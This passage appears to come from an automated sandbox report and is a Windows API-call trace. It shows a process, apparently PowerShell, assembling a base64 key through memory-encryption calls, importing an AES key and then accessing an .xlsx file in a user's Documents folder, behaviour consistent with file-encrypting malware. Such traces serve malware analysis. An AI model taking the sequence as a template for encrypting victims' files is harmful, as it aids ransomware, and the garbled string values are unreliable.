OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0222.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0222.849] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.849] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0222.849] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0222.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0222.849] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.849] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0222.850] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0222.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0222.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0222.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0222.850] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.851] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0222.851] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0222.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0222.851] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.851] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0222.851] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0222.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0222.851] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.851] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0222.851] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0222.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0222.852] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.852] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0222.852] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0222.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0222.852] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.852] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0222.852] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0222.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0222.852] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.853] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0222.853] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0222.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0222.853] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.853] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0222.853] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0222.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0222.853] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.853] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0222.853] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0222.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0222.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0222.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0222.854] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.854] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0222.854] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0222.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0222.855] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.855] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0222.855] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0222.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0222.855] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.855] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0222.855] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0222.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0222.855] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.855] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0222.855] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.856] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0222.856] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0222.856] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.856] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0222.856] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.856] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0222.856] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0222.856] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.856] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0222.856] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.856] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0222.856] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0222.856] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.857] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0222.857] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0222.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0222.857] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.857] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0222.857] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0222.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0222.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0222.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0222.858] SystemFunction041 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.858] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0222.858] SystemFunction040 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0222.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0222.858] SystemFunction041 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.858] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0222.858] SystemFunction040 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0222.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0222.859] SystemFunction041 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.859] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0222.859] SystemFunction040 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0222.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0222.859] SystemFunction041 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.859] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0222.859] SystemFunction040 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0222.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0222.859] SystemFunction041 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.859] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0222.859] SystemFunction040 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0222.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0222.860] SystemFunction041 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.860] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0222.860] SystemFunction040 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0222.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0222.860] SystemFunction041 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.860] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0222.860] SystemFunction040 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0222.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0222.860] SystemFunction041 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.861] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0222.861] SystemFunction040 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0222.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0222.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0222.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0222.861] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0222.861] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0222.862] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0222.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0222.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0222.862] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0222.862] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0222.862] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0222.864] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0222.864] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0222.864] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0222.864] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0222.865] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0222.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0222.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0222.865] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0222.865] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0222.865] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0222.865] EtwEventActivityIdControl () returned 0x0 [0222.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0222.866] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0222.866] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0222.866] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0222.867] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cdd0) returned 1 [0222.869] CryptImportKey (in: hProv=0x5c4cdd0, pbData=0x23f67a4*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c69140) returned 1 [0222.869] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0222.870] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.870] EtwEventActivityIdControl () returned 0x0 [0222.870] EtwEventActivityIdControl () returned 0x0 [0222.870] EtwEventActivityIdControl () returned 0x0 [0222.877] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\j_xc70wda-y.xlsx")) returned 0x20 [0222.941] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\j_xc70wda-y.xlsx")) returned 0x20 [0222.942] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0222.942] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", lpFilePart=0x0) returned 0x47 [0222.942] EtwEventActivityIdControl () returned 0x0 [0222.942] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.943] EtwEventActivityIdControl () returned 0x0 [0222.943] EtwEventActivityIdControl () returned 0x0 [0222.943] EtwEventActivityIdControl () returned 0x0 [0222.944] GetFullPathNameW (in: 